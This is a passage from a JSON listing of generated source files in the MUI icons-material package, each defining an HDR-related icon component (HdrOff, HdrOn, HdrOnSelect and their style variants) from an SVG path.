7.99l-1.56-1.56c.81-2.96-1.91-5.68-4.87-4.87M6.34 2.34 4.93 3.76l1.66 1.66c-2.42 5.1 2.89 10.41 7.99 7.99l1.66 1.66 1.41-1.41zm1.81 4.64 4.87 4.87c-2.96.81-5.68-1.91-4.87-4.87\"\n}), 'HdrOffSelectSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/HdrOffSelectSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18 20v-4h-5v6h1.5v-2h1.1l.9 2H18l-.86-2zm-1.5-1.5h-2v-1h2zm-13-.5h-2v-2H0v6h1.5v-2.5h2V22H5v-6H3.5zm6.5-2H6.5v6H10c.8 0 1.5-.7 1.5-1.5v-3c0-.8-.7-1.5-1.5-1.5m0 4.5H8v-3h2zm14-.5h-2v2h-1.5v-2h-2v-1.5h2v-2H22v2h2zM10.98 4.15 9.42 2.59c5.1-2.42 10.41 2.89 7.99 7.99l-1.56-1.56c.81-2.96-1.91-5.68-4.87-4.87M6.34 2.34 4.93 3.76l1.66 1.66c-2.42 5.1 2.89 10.41 7.99 7.99l1.66 1.66 1.41-1.41zm1.81 4.64 4.87 4.87c-2.96.81-5.68-1.91-4.87-4.87\"\n}), 'HdrOffSelectSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/HdrOffSelectTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18 18.5v-1c0-.8-.7-1.5-1.5-1.5H13v6h1.5v-2h1.1l.9 2H18l-.9-2.1c.5-.3.9-.8.9-1.4m-1.5 0h-2v-1h2zm-13-.5h-2v-2H0v6h1.5v-2.5h2V22H5v-6H3.5zm6.5-2H6.5v6H10c.8 0 1.5-.7 1.5-1.5v-3c0-.8-.7-1.5-1.5-1.5m0 4.5H8v-3h2zm14-.5h-2v2h-1.5v-2h-2v-1.5h2v-2H22v2h2zM10.98 4.15 9.42 2.59c5.1-2.42 10.41 2.89 7.99 7.99l-1.56-1.56c.81-2.96-1.91-5.68-4.87-4.87M6.34 2.34 4.93 3.76l1.66 1.66c-2.42 5.1 2.89 10.41 7.99 7.99l1.66 1.66 1.41-1.41zm1.81 4.64 4.87 4.87c-2.96.81-5.68-1.91-4.87-4.87\"\n}), 'HdrOffSelectTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/HdrOffSelectTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18 18.5v-1c0-.8-.7-1.5-1.5-1.5H13v6h1.5v-2h1.1l.9 2H18l-.9-2.1c.5-.3.9-.8.9-1.4m-1.5 0h-2v-1h2zm-13-.5h-2v-2H0v6h1.5v-2.5h2V22H5v-6H3.5zm6.5-2H6.5v6H10c.8 0 1.5-.7 1.5-1.5v-3c0-.8-.7-1.5-1.5-1.5m0 4.5H8v-3h2zm14-.5h-2v2h-1.5v-2h-2v-1.5h2v-2H22v2h2zM10.98 4.15 9.42 2.59c5.1-2.42 10.41 2.89 7.99 7.99l-1.56-1.56c.81-2.96-1.91-5.68-4.87-4.87M6.34 2.34 4.93 3.76l1.66 1.66c-2.42 5.1 2.89 10.41 7.99 7.99l1.66 1.66 1.41-1.41zm1.81 4.64 4.87 4.87c-2.96.81-5.68-1.91-4.87-4.87\"\n}), 'HdrOffSelectTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/HdrOffSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17.5 15v-2h1.1l.9 2H21l-.9-2.1h.9V9h-5v4.86L17.14 15zm0-4.5h2v1h-2zm-4.5 0v.36l1.5 1.5V10.5c0-.8-.7-1.5-1.5-1.5h-1.86l1.5 1.5zM2.51 2.49 1.45 3.55 6.9 9h-.4v2h-2V9H3v6h1.5v-2.5h2V15H8v-4.9l1.5 1.5V15h3.4l7.6 7.6 1.06-1.06z\"\n}), 'HdrOffSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/HdrOffSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M17.5 15v-2h1.1l.9 2H21l-.9-2.1h.9V9h-5v4.86L17.14 15zm0-4.5h2v1h-2zm-4.5 0v.36l1.5 1.5V10.5c0-.8-.7-1.5-1.5-1.5h-1.86l1.5 1.5zM2.51 2.49 1.45 3.55 6.9 9h-.4v2h-2V9H3v6h1.5v-2.5h2V15H8v-4.9l1.5 1.5V15h3.4l7.6 7.6 1.06-1.06z\"\n}), 'HdrOffSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/HdrOffTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17.5 15v-2h1.1l.9 2H21l-.9-2.1c.5-.3.9-.8.9-1.4v-1c0-.8-.7-1.5-1.5-1.5H16v4.86L17.14 15zm0-4.5h2v1h-2zm-4.5 0v.36l1.5 1.5V10.5c0-.8-.7-1.5-1.5-1.5h-1.86l1.5 1.5zM2.51 2.49 1.45 3.55 6.9 9h-.4v2h-2V9H3v6h1.5v-2.5h2V15H8v-4.9l1.5 1.5V15h3.4l7.6 7.6 1.06-1.06z\"\n}), 'HdrOffTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/HdrOffTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M17.5 15v-2h1.1l.9 2H21l-.9-2.1c.5-.3.9-.8.9-1.4v-1c0-.8-.7-1.5-1.5-1.5H16v4.86L17.14 15zm0-4.5h2v1h-2zm-4.5 0v.36l1.5 1.5V10.5c0-.8-.7-1.5-1.5-1.5h-1.86l1.5 1.5zM2.51 2.49 1.45 3.55 6.9 9h-.4v2h-2V9H3v6h1.5v-2.5h2V15H8v-4.9l1.5 1.5V15h3.4l7.6 7.6 1.06-1.06z\"\n}), 'HdrOffTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/HdrOn.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 11.5v-1c0-.8-.7-1.5-1.5-1.5H16v6h1.5v-2h1.1l.9 2H21l-.9-2.1c.5-.3.9-.8.9-1.4m-1.5 0h-2v-1h2zm-13-.5h-2V9H3v6h1.5v-2.5h2V15H8V9H6.5zM13 9H9.5v6H13c.8 0 1.5-.7 1.5-1.5v-3c0-.8-.7-1.5-1.5-1.5m0 4.5h-2v-3h2z\"\n}), 'HdrOn');"
  },
  {
    "path": "packages/mui-icons-material/lib/HdrOn.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 11.5v-1c0-.8-.7-1.5-1.5-1.5H16v6h1.5v-2h1.1l.9 2H21l-.9-2.1c.5-.3.9-.8.9-1.4m-1.5 0h-2v-1h2zm-13-.5h-2V9H3v6h1.5v-2.5h2V15H8V9H6.5zM13 9H9.5v6H13c.8 0 1.5-.7 1.5-1.5v-3c0-.8-.7-1.5-1.5-1.5m0 4.5h-2v-3h2z\"\n}), 'HdrOn');"
  },
  {
    "path": "packages/mui-icons-material/lib/HdrOnOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 11.5v-1c0-.8-.7-1.5-1.5-1.5H16v6h1.5v-2h1.1l.9 2H21l-.9-2.1c.5-.3.9-.8.9-1.4m-1.5 0h-2v-1h2zm-13-.5h-2V9H3v6h1.5v-2.5h2V15H8V9H6.5zM13 9H9.5v6H13c.8 0 1.5-.7 1.5-1.5v-3c0-.8-.7-1.5-1.5-1.5m0 4.5h-2v-3h2z\"\n}), 'HdrOnOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/HdrOnOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 11.5v-1c0-.8-.7-1.5-1.5-1.5H16v6h1.5v-2h1.1l.9 2H21l-.9-2.1c.5-.3.9-.8.9-1.4m-1.5 0h-2v-1h2zm-13-.5h-2V9H3v6h1.5v-2.5h2V15H8V9H6.5zM13 9H9.5v6H13c.8 0 1.5-.7 1.5-1.5v-3c0-.8-.7-1.5-1.5-1.5m0 4.5h-2v-3h2z\"\n}), 'HdrOnOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/HdrOnRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7.25 9c-.41 0-.75.34-.75.75V11h-2V9.75c0-.41-.34-.75-.75-.75S3 9.34 3 9.75v4.5c0 .41.34.75.75.75s.75-.34.75-.75V12.5h2v1.75c0 .41.34.75.75.75s.75-.34.75-.75v-4.5C8 9.34 7.66 9 7.25 9M21 11.5v-1c0-.83-.67-1.5-1.5-1.5H17c-.55 0-1 .45-1 1v4.25c0 .41.34.75.75.75s.75-.34.75-.75V13h1.1l.72 1.59c.11.25.36.41.63.41.5 0 .83-.51.64-.96l-.49-1.14c.5-.3.9-.8.9-1.4m-3.5 0v-1h2v1zM13 9h-3c-.28 0-.5.22-.5.5v5c0 .28.22.5.5.5h3c.82 0 1.5-.68 1.5-1.5v-3c0-.82-.68-1.5-1.5-1.5m0 4.5h-2v-3h2z\"\n}), 'HdrOnRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/HdrOnRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M7.25 9c-.41 0-.75.34-.75.75V11h-2V9.75c0-.41-.34-.75-.75-.75S3 9.34 3 9.75v4.5c0 .41.34.75.75.75s.75-.34.75-.75V12.5h2v1.75c0 .41.34.75.75.75s.75-.34.75-.75v-4.5C8 9.34 7.66 9 7.25 9M21 11.5v-1c0-.83-.67-1.5-1.5-1.5H17c-.55 0-1 .45-1 1v4.25c0 .41.34.75.75.75s.75-.34.75-.75V13h1.1l.72 1.59c.11.25.36.41.63.41.5 0 .83-.51.64-.96l-.49-1.14c.5-.3.9-.8.9-1.4m-3.5 0v-1h2v1zM13 9h-3c-.28 0-.5.22-.5.5v5c0 .28.22.5.5.5h3c.82 0 1.5-.68 1.5-1.5v-3c0-.82-.68-1.5-1.5-1.5m0 4.5h-2v-3h2z\"\n}), 'HdrOnRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/HdrOnSelect.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18 18.5v-1c0-.8-.7-1.5-1.5-1.5H13v6h1.5v-2h1.1l.9 2H18l-.9-2.1c.5-.3.9-.8.9-1.4m-1.5 0h-2v-1h2zm-13-.5h-2v-2H0v6h1.5v-2.5h2V22H5v-6H3.5zm6.5-2H6.5v6H10c.8 0 1.5-.7 1.5-1.5v-3c0-.8-.7-1.5-1.5-1.5m0 4.5H8v-3h2zm14-.5h-2v2h-1.5v-2h-2v-1.5h2v-2H22v2h2zM12 4c2.21 0 4 1.79 4 4s-1.79 4-4 4-4-1.79-4-4 1.79-4 4-4m0-2C8.69 2 6 4.69 6 8s2.69 6 6 6 6-2.69 6-6-2.69-6-6-6\"\n}), 'HdrOnSelect');"
  },
  {
    "path": "packages/mui-icons-material/lib/HdrOnSelect.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18 18.5v-1c0-.8-.7-1.5-1.5-1.5H13v6h1.5v-2h1.1l.9 2H18l-.9-2.1c.5-.3.9-.8.9-1.4m-1.5 0h-2v-1h2zm-13-.5h-2v-2H0v6h1.5v-2.5h2V22H5v-6H3.5zm6.5-2H6.5v6H10c.8 0 1.5-.7 1.5-1.5v-3c0-.8-.7-1.5-1.5-1.5m0 4.5H8v-3h2zm14-.5h-2v2h-1.5v-2h-2v-1.5h2v-2H22v2h2zM12 4c2.21 0 4 1.79 4 4s-1.79 4-4 4-4-1.79-4-4 1.79-4 4-4m0-2C8.69 2 6 4.69 6 8s2.69 6 6 6 6-2.69 6-6-2.69-6-6-6\"\n}), 'HdrOnSelect');"
  },
  {
    "path": "packages/mui-icons-material/lib/HdrOnSelectOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18 18.5v-1c0-.8-.7-1.5-1.5-1.5H13v6h1.5v-2h1.1l.9 2H18l-.9-2.1c.5-.3.9-.8.9-1.4m-1.5 0h-2v-1h2zm-13-.5h-2v-2H0v6h1.5v-2.5h2V22H5v-6H3.5zm6.5-2H6.5v6H10c.8 0 1.5-.7 1.5-1.5v-3c0-.8-.7-1.5-1.5-1.5m0 4.5H8v-3h2zm14-.5h-2v2h-1.5v-2h-2v-1.5h2v-2H22v2h2zM12 4c2.21 0 4 1.79 4 4s-1.79 4-4 4-4-1.79-4-4 1.79-4 4-4m0-2C8.69 2 6 4.69 6 8s2.69 6 6 6 6-2.69 6-6-2.69-6-6-6\"\n}), 'HdrOnSelectOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/HdrOnSelectOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18 18.5v-1c0-.8-.7-1.5-1.5-1.5H13v6h1.5v-2h1.1l.9 2H18l-.9-2.1c.5-.3.9-.8.9-1.4m-1.5 0h-2v-1h2zm-13-.5h-2v-2H0v6h1.5v-2.5h2V22H5v-6H3.5zm6.5-2H6.5v6H10c.8 0 1.5-.7 1.5-1.5v-3c0-.8-.7-1.5-1.5-1.5m0 4.5H8v-3h2zm14-.5h-2v2h-1.5v-2h-2v-1.5h2v-2H22v2h2zM12 4c2.21 0 4 1.79 4 4s-1.79 4-4 4-4-1.79-4-4 1.79-4 4-4m0-2C8.69 2 6 4.69 6 8s2.69 6 6 6 6-2.69 6-6-2.69-6-6-6\"\n}), 'HdrOnSelectOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/HdrOnSelectRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18 18.5v-1c0-.83-.67-1.5-1.5-1.5H14c-.55 0-1 .45-1 1v4.31c0 .38.31.69.69.69h.11c.38 0 .69-.31.69-.69V20h1.1l.72 1.59c.11.25.36.41.63.41.5 0 .83-.51.64-.97l-.48-1.13c.5-.3.9-.8.9-1.4m-1.5 0h-2v-1h2zm-13-.5h-2v-1.25c0-.41-.34-.75-.75-.75s-.75.34-.75.75v4.5c0 .41.34.75.75.75s.75-.34.75-.75V19.5h2v1.75c0 .41.34.75.75.75s.75-.34.75-.75v-4.5c0-.41-.34-.75-.75-.75s-.75.34-.75.75zm6.5-2H7.5c-.55 0-1 .45-1 1v4c0 .55.45 1 1 1H10c.82 0 1.5-.67 1.5-1.5v-3c0-.83-.68-1.5-1.5-1.5m0 4.5H8v-3h2zm13.25-.5H22v1.25c0 .41-.34.75-.75.75s-.75-.34-.75-.75V20h-1.25c-.41 0-.75-.34-.75-.75s.34-.75.75-.75h1.25v-1.25c0-.41.34-.75.75-.75s.75.34.75.75v1.25h1.25c.41 0 .75.34.75.75s-.34.75-.75.75M12 4c2.21 0 4 1.79 4 4s-1.79 4-4 4-4-1.79-4-4 1.79-4 4-4m0-2C8.69 2 6 4.69 6 8s2.69 6 6 6 6-2.69 6-6-2.69-6-6-6\"\n}), 'HdrOnSelectRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/HdrOnSelectRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18 18.5v-1c0-.83-.67-1.5-1.5-1.5H14c-.55 0-1 .45-1 1v4.31c0 .38.31.69.69.69h.11c.38 0 .69-.31.69-.69V20h1.1l.72 1.59c.11.25.36.41.63.41.5 0 .83-.51.64-.97l-.48-1.13c.5-.3.9-.8.9-1.4m-1.5 0h-2v-1h2zm-13-.5h-2v-1.25c0-.41-.34-.75-.75-.75s-.75.34-.75.75v4.5c0 .41.34.75.75.75s.75-.34.75-.75V19.5h2v1.75c0 .41.34.75.75.75s.75-.34.75-.75v-4.5c0-.41-.34-.75-.75-.75s-.75.34-.75.75zm6.5-2H7.5c-.55 0-1 .45-1 1v4c0 .55.45 1 1 1H10c.82 0 1.5-.67 1.5-1.5v-3c0-.83-.68-1.5-1.5-1.5m0 4.5H8v-3h2zm13.25-.5H22v1.25c0 .41-.34.75-.75.75s-.75-.34-.75-.75V20h-1.25c-.41 0-.75-.34-.75-.75s.34-.75.75-.75h1.25v-1.25c0-.41.34-.75.75-.75s.75.34.75.75v1.25h1.25c.41 0 .75.34.75.75s-.34.75-.75.75M12 4c2.21 0 4 1.79 4 4s-1.79 4-4 4-4-1.79-4-4 1.79-4 4-4m0-2C8.69 2 6 4.69 6 8s2.69 6 6 6 6-2.69 6-6-2.69-6-6-6\"\n}), 'HdrOnSelectRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/HdrOnSelectSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18 19.9V16h-5v6h1.5v-2h1.1l.9 2H18l-.9-2.1zm-1.5-1.4h-2v-1h2zm-13-.5h-2v-2H0v6h1.5v-2.5h2V22H5v-6H3.5zm6.5-2H6.5v6H10c.8 0 1.5-.7 1.5-1.5v-3c0-.8-.7-1.5-1.5-1.5m0 4.5H8v-3h2zm14-.5h-2v2h-1.5v-2h-2v-1.5h2v-2H22v2h2zM12 4c2.21 0 4 1.79 4 4s-1.79 4-4 4-4-1.79-4-4 1.79-4 4-4m0-2C8.69 2 6 4.69 6 8s2.69 6 6 6 6-2.69 6-6-2.69-6-6-6\"\n}), 'HdrOnSelectSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/HdrOnSelectSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18 19.9V16h-5v6h1.5v-2h1.1l.9 2H18l-.9-2.1zm-1.5-1.4h-2v-1h2zm-13-.5h-2v-2H0v6h1.5v-2.5h2V22H5v-6H3.5zm6.5-2H6.5v6H10c.8 0 1.5-.7 1.5-1.5v-3c0-.8-.7-1.5-1.5-1.5m0 4.5H8v-3h2zm14-.5h-2v2h-1.5v-2h-2v-1.5h2v-2H22v2h2zM12 4c2.21 0 4 1.79 4 4s-1.79 4-4 4-4-1.79-4-4 1.79-4 4-4m0-2C8.69 2 6 4.69 6 8s2.69 6 6 6 6-2.69 6-6-2.69-6-6-6\"\n}), 'HdrOnSelectSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/HdrOnSelectTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18 18.5v-1c0-.8-.7-1.5-1.5-1.5H13v6h1.5v-2h1.1l.9 2H18l-.9-2.1c.5-.3.9-.8.9-1.4m-1.5 0h-2v-1h2zm-13-.5h-2v-2H0v6h1.5v-2.5h2V22H5v-6H3.5zm6.5-2H6.5v6H10c.8 0 1.5-.7 1.5-1.5v-3c0-.8-.7-1.5-1.5-1.5m0 4.5H8v-3h2zm14-.5h-2v2h-1.5v-2h-2v-1.5h2v-2H22v2h2zM12 4c2.21 0 4 1.79 4 4s-1.79 4-4 4-4-1.79-4-4 1.79-4 4-4m0-2C8.69 2 6 4.69 6 8s2.69 6 6 6 6-2.69 6-6-2.69-6-6-6\"\n}), 'HdrOnSelectTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/HdrOnSelectTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18 18.5v-1c0-.8-.7-1.5-1.5-1.5H13v6h1.5v-2h1.1l.9 2H18l-.9-2.1c.5-.3.9-.8.9-1.4m-1.5 0h-2v-1h2zm-13-.5h-2v-2H0v6h1.5v-2.5h2V22H5v-6H3.5zm6.5-2H6.5v6H10c.8 0 1.5-.7 1.5-1.5v-3c0-.8-.7-1.5-1.5-1.5m0 4.5H8v-3h2zm14-.5h-2v2h-1.5v-2h-2v-1.5h2v-2H22v2h2zM12 4c2.21 0 4 1.79 4 4s-1.79 4-4 4-4-1.79-4-4 1.79-4 4-4m0-2C8.69 2 6 4.69 6 8s2.69 6 6 6 6-2.69 6-6-2.69-6-6-6\"\n}), 'HdrOnSelectTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/HdrOnSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 12.9V9h-5v6h1.5v-2h1.1l.9 2H21l-.9-2.1zm-1.5-1.4h-2v-1h2zm-13-.5h-2V9H3v6h1.5v-2.5h2V15H8V9H6.5zM13 9H9.5v6H13c.8 0 1.5-.7 1.5-1.5v-3c0-.8-.7-1.5-1.5-1.5m0 4.5h-2v-3h2z\"\n}), 'HdrOnSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/HdrOnSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 12.9V9h-5v6h1.5v-2h1.1l.9 2H21l-.9-2.1zm-1.5-1.4h-2v-1h2zm-13-.5h-2V9H3v6h1.5v-2.5h2V15H8V9H6.5zM13 9H9.5v6H13c.8 0 1.5-.7 1.5-1.5v-3c0-.8-.7-1.5-1.5-1.5m0 4.5h-2v-3h2z\"\n}), 'HdrOnSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/HdrOnTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M13 9H9.5v6H13c.8 0 1.5-.7 1.5-1.5v-3c0-.8-.7-1.5-1.5-1.5m0 4.5h-2v-3h2zm8-2v-1c0-.8-.7-1.5-1.5-1.5H16v6h1.5v-2h1.1l.9 2H21l-.9-2.1c.5-.3.9-.8.9-1.4m-1.5 0h-2v-1h2zm-13-.5h-2V9H3v6h1.5v-2.5h2V15H8V9H6.5z\"\n}), 'HdrOnTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/HdrOnTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M13 9H9.5v6H13c.8 0 1.5-.7 1.5-1.5v-3c0-.8-.7-1.5-1.5-1.5m0 4.5h-2v-3h2zm8-2v-1c0-.8-.7-1.5-1.5-1.5H16v6h1.5v-2h1.1l.9 2H21l-.9-2.1c.5-.3.9-.8.9-1.4m-1.5 0h-2v-1h2zm-13-.5h-2V9H3v6h1.5v-2.5h2V15H8V9H6.5z\"\n}), 'HdrOnTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/HdrPlus.js",
